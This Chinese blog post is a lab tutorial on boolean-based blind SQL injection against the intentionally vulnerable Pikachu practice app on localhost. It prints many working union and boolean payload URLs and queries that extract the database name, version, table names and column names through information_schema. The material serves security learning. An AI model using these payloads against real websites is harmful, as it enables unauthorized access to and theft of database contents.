sql注入练习之bool盲注

本文详细介绍了SQL布尔型盲注的基本原理、相关函数以及实际操作步骤,通过实例展示了如何利用布尔型盲注技术来猜解数据库信息,包括数据库名、版本、表名和列名等。实验环境为phpstudy + apache + mysql + pikachu,通过观察返回页面的不同来判断条件真假,逐步揭示数据库结构。

1.bool盲注的原理

以根据返回页面判断条件真假的注入

判断方式:

通过长度判断 length(): length(database())>=x

通过字符判断 substr():substr(database() ,1,1)= 's'

通过 ascII 码判断:ascii():ascii(substr(database(),1,1)) =x

2.bool盲注相关的函数

3.实验-bool盲注

实验环境:phpstudy+apache+mysql+pikachu

3.1判断注入点

否管它是什么注入,先输入数据看看情况。判断有注入点,本身就是一种注入行为,根据返回正常情况和不正常的情况比较有没有注入,盲注也是基于这一点,根据返回的非正常情况来判断注入是否正确。

这一关,查询用户名信息,猜测多办是搜索类型,需要考虑闭合。其次查询的结果可能有多列,这里还是先判断结果有多少列。通常情况是使用order by,我这里使用select。

3.1.1 实验操作之判断注入点

输入adc正常的显示是这样的

 

看看非正常情况。尝试了几中数据。abc’  abc”  abc% 都和正常显示一样,猜测很可能这个执行查询失败的时候是没有回显的,这个时候真么办呢??既然无回显,想办法让它显示不一样的结果呗。同样先猜测它的结果列数。尝试了order by 一系列,结果每什么变化,那就才用另外一种方式了。才用union联合。先测试用union select 1,2,3,4。。。

猜测到 2的时候,数据显示不一样了。

 

既然这样说明,只有2列,传入的实际参数 abc’ union select 1,2

http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union%20select%201,2--+&submit=%E6%9F%A5%E8%AF%A2

3.1.2 分析结果

那么可以总结出,需要闭合’ ,结果分成2列。接下需要猜解数据库的信息.

3.2 猜解数据库

构造sql语句,根据前面的分析,这里需要考虑闭合、采用union联合来猜解。

3.2.1常规的猜解方式

使用函数猜解数据库名和数据库版本

http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union%20select%201,database()--+&submit=%E6%9F%A5%E8%AF%A2

参数:abc’ union select 1,database()--+

 

http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union%20select%201,version()--+&submit=%E6%9F%A5%E8%AF%A2

参数:abc’ union select 1,version()--+

 

得到数据库为pikachu,版本5.5.53 这里database(),可以换成其函数,也可以select database(),version() 常用的函数如下:

 

3.2.2 盲注的猜解方式

既然是盲注,肯定也需要用盲注的方式尝试。

盲注是通过条件真假来判断。

常用的函数length()、ascii() 、ord()、left()、regexp()

3.2.2.1 猜解数据库长度

这里使用length()计算猜数据库的长度。

http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union%20select%201,length(database())%3E=7--+&submit=%E6%9F%A5%E8%AF%A2

参数:abc’ union select ,1,length(database())>=7--+

 

这个时候返回的是1,代表的是真。说明还没有猜中,还需要继续改条件,直到为假,为0。

http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union%20select%201,length(database())%3E=8--+&submit=%E6%9F%A5%E8%AF%A2

参数:abc’ union select ,1,length(database())>=8--+

 

这个时候,返回0,代表的是假,从临界测试说明数据库名长度为7。

3.2.2.1.1 猜解长度结果

等于7

3.2.2.2 猜解数据库名

这里采用逐字猜解,使用到字符串重相关的函数。

猜解数据库名的第一个字符。

database()函数获取名字,然后取第一个字母,使用substr(database(),1,1)。

在数据库中尝试情况:

 

再通过if条件判断真假来获取。

if 的条件 ,这里用assii(substr(database(),1,1))=97来比较。

assii(substr(database(),1,1))在数据库中执行的结果:

 

if在数据库中的使用:

 

 

这是在数据库中的执行,在浏览器中看看情况。

猜解数据库名首字母:

http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union select 1,if(ascii(substr(database(),1,1))=112,1,2)--+&submit=%E6%9F%A5%E8%AF%A2

参数:abc%27%20union select 1,if(ascii(substr(database(),1,1))=112,1,2)--+

 

http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union%20select%201,if(ascii(substr(database(),1,1))%3E112,1,2)--+&submit=%E6%9F%A5%E8%AF%A2

参数:abc%27%20union select 1,if(ascii(substr(database(),1,1))>112,1,2)--+

 

依次类推不断尝试,所以,这里需要借助工具来搞事情,否则还不把人搞疯啊。这里最终测试出来的结果和database()是一样的pikachu。

小结:这里需要掌握的知识点是盲注的时候,相关函数的使用。如字符串截取、assii函数、if 语句、union 、select语句的使用。想到union,肯定会联想到需要猜解列。列的猜解办法 order by 或者select 1,2,3.。。一般是这两种。有可能有第三种,只是我还没发现,技术有限。。。

3.2.2.2.1 猜解结果

猜解版本和猜解数据库名一样,不再测试

数据库名为:pikachu

数据库版本为:5.5.53

3.2.2.3 猜解数据库表名

为版本是大于5的,mysql数据库有默认的information_schema数据库,如果是低版本,就只能采用爆破的方式进行猜解。从sql注入的角度来说,mysql5.0以下版本没有information_schema这个系统库,无法列出表名列名,只能暴力跑

3.2.2.3.1 猜解数据库表的个数

方法:union select 1, if((select count(*) from information_schema.tables where table_schema=database())>n,1,2)

改变n的值,并结合页面回显判断表的个数

举例:如下案例有回显说明数据库中有4个表

 

sql中的执行:select id,username from member where username='a' union select 1, if((select count(*) from information_schema.tables where table_schema=database())>5,1,2);

url:http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union%20select%20id,username%20from%20member%20where%20username=%27a%27%20union%20select%201,%20if((select%20count(*)%20from%20information_schema.tables%20where%20table_schema=database())%3E5,1,2)--+&submit=%E6%9F%A5%E8%AF%A2

 

3.2.2.3.1.1猜解结果

4列

3.2.2.3.2 猜解数据库个表名长度

猜解第一个表名的长度

3.2.2.3.2.1非盲注的方式猜解表的长度

数据库中执行的sql:

select id,username from member where username='a' union  select 1, (select length(table_name) from information_schema.tables where table_schema = database() limit 2,1);

 

url:http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union select 1, (select length(table_name) from information_schema.tables where table_schema = database() limit 1,1)--+&submit=%E6%9F%A5%E8%AF%A2

 

依次可以获取每张表的长度。

3.2.2.3.2.1.1猜解的结果

6、7、5、8

3.2.2.3.2.2盲注的方式猜解表的长度

数据库中执行的sql:

select id,username from member where username='a' union select 1, if( (select length(table_name) from information_schema.tables where table_schema = database() limit 1,1)>6,1,2);

 

url:http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union select 1,if( (select length(table_name) from information_schema.tables where table_schema = database() limit 1,1)>6,1,2)--+&submit=%E6%9F%A5%E8%AF%A2

 

url:http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union select 1,if( (select length(table_name) from information_schema.tables where table_schema = database() limit 1,1)>5,1,2)--+&submit=%E6%9F%A5%E8%AF%A2

 

从上看出第一张表的长度为5

3.2.2.3.2.2猜解表的名字

看下数据库第一张表名每个字段的ascii码。

select id,username from member where username='a' union select 1, ascii((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)));

 

看下数据库第一张表名每个字段的字符

select id,username from member where username='a' union select 1, (substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1));

 

url:

http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union select 1, (substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))--+&submit=%E6%9F%A5%E8%AF%A2

 

这里已经能得到表名了。为member。练习下ascii和if的使用.

if(条件,”返回真”,返回假)  

验证下:select if(ascii('a')>97,1,2);

 

ascii(‘单字符’) =》返回ascii码值 如:ascii(‘a’) 返回97

验证下:select ascii('a');

 

substr(“字符串”,截取时偏移位置,截取长度) 如:substr(“abcdef”,2,2) 截取后返回bc

验证下substr:select substr(“abcdef”,2,2);拿不准的就去跑下

 

数据库的中sql:select id,username from member where username='a' union select 1, if(ascii((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),6,1)))>113,1,2);

 

url:

http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union%20select%201,%20if(ascii((substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),6,1)))%3E113,1,2)%20--+&submit=%E6%9F%A5%E8%AF%A2

 

http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union%20select%201,%20if(ascii((substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),6,1)))%3E114,1,2)%20--+&submit=%E6%9F%A5%E8%AF%A2

 

这样依次重复拿到数据库名为member

3.2.2.3.3猜解列字段

已经得到数据库名为pikachu,其中一个表为member,接下来猜解列就很方便了。

3.2.2.3.3.1猜解列个数

看看有member表中哪些列,sql执行:

select column_name from information_schema.columns where table_name='member' and table_schema=database();

 

从上看出有7个字段。

用count函数看是不有7个

select count(*)  from information_schema.columns where table_name='member' and table_schema=database();

 

select id,username from member where username='a' union select 1,(select count(*)  from information_schema.columns where table_name='member' and table_schema=database());

 

http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union%20select%201,(select%20count(*)%20%20from%20information_schema.columns%20where%20table_name=%27member%27%20and%20table_schema=database())--+&submit=%E6%9F%A5%E8%AF%A2

 

同样按照猜解表个数的方式,猜解列的个数。但是使用条件来判断,相对来说麻烦点。需要不断尝试例举。相当更消耗时间。

使用条件来判断的sql中执行:

select id,username from member where username='a' union select 1,if((select count(*)  from information_schema.columns where table_name='member' and table_schema=database())>7,1,2);

 

这里已经猜解出member中有7列

3.2.2.3.3.2猜解列字段的名

这里我猜解第二列的列名。

 select column_name from information_schema.columns where table_name='member' and table_schema=database() limit 1,1;

 

select id,username from member where username='a' union select 1 ,(select substr((select column_name from information_schema.columns where table_name='member' and table_schema=database() limit 1,1),1,1));

select id,username from member where username='a' union select 1 ,(select substr((select column_name from information_schema.columns where table_name='member' and table_schema=database() limit 1,1),2,1));

 

url:http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union%20select%201%20,(select%20substr((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27member%27%20and%20table_schema=database()%20limit%201,1),1,1))--+&submit=%E6%9F%A5%E8%AF%A2

依次执行改参数就能获取到列名

 

这里再使用if和assii相结合,条件判断,和获取表名是一样的方法,关键还是要熟悉sql语法,如果执行不成功,就把sql语句到数据库下面去执行看情况,不要一个傻尽的在浏览器中执行。

select ascii(substr((select column_name from information_schema.columns where table_name='member' and table_schema=database() limit 1,1),1,1));

select substr((select column_name from information_schema.columns where table_name='member' and table_schema=database() limit 1,1),1,1);

 

select id,username from member where username='a' union select 1,(select substr((select column_name from information_schema.columns where table_name='member' and table_schema=database() limit 1,1),1,1));

select id,username from member where username='a' union select 1,(select ascii(substr((select column_name from information_schema.columns where table_name='member' and table_schema=database() limit 1,1),1,1)));

 

url:http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union select 1,

(select substr((select column_name from information_schema.columns where table_name='member' and table_schema=database() limit 1,1),1,1))

--+&submit=%E6%9F%A5%E8%AF%A2

 

url:http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union select 1,

(ascii(substr((select column_name from information_schema.columns where table_name='member' and table_schema=database() limit 1,1),1,1)))

--+&submit=%E6%9F%A5%E8%AF%A2

 

 

 

if 条件判断

数据库中执行

select id,username from member where username='a' union select 1,if( ascii(substr((select column_name from information_schema.columns where table_name='member' and table_schema=database() limit 1,1),1,1))=117,1,2);

 

url:http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union select 1,

if( ascii(substr((select column_name from information_schema.columns where table_name='member' and table_schema=database() limit 1,1),1,1)),1,2)

--+&submit=%E6%9F%A5%E8%AF%A2

 

这里最后得到的结果是:username

3.2.2.3.4猜解数据

这里已经得到数据库为pikachu、其中有一个表为member、有一列为username,有库名、有表名、有列名,还不知道真么获取数据,可以转行了。。后面的实验不再笔记,凡是留一线,日后好相见,不要搞别人的数据,点到为止。。

  1. 小结

猜解的过程大致流程都是一样的

a:先收集信息,确定数据库类型、版本

b:猜解数据库名

c:猜解数据库表名

d:猜解数据库列名

f:最后不要搞人家的数据

注意的地方,不同的数据库,不同的版本,函数可能不一样,保量思路原理是一致的,实在搞不到信息,如果判断存在注入,就只有爆破了,像低版本的mysql,小于5.0的,没有回显,那只有爆破了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值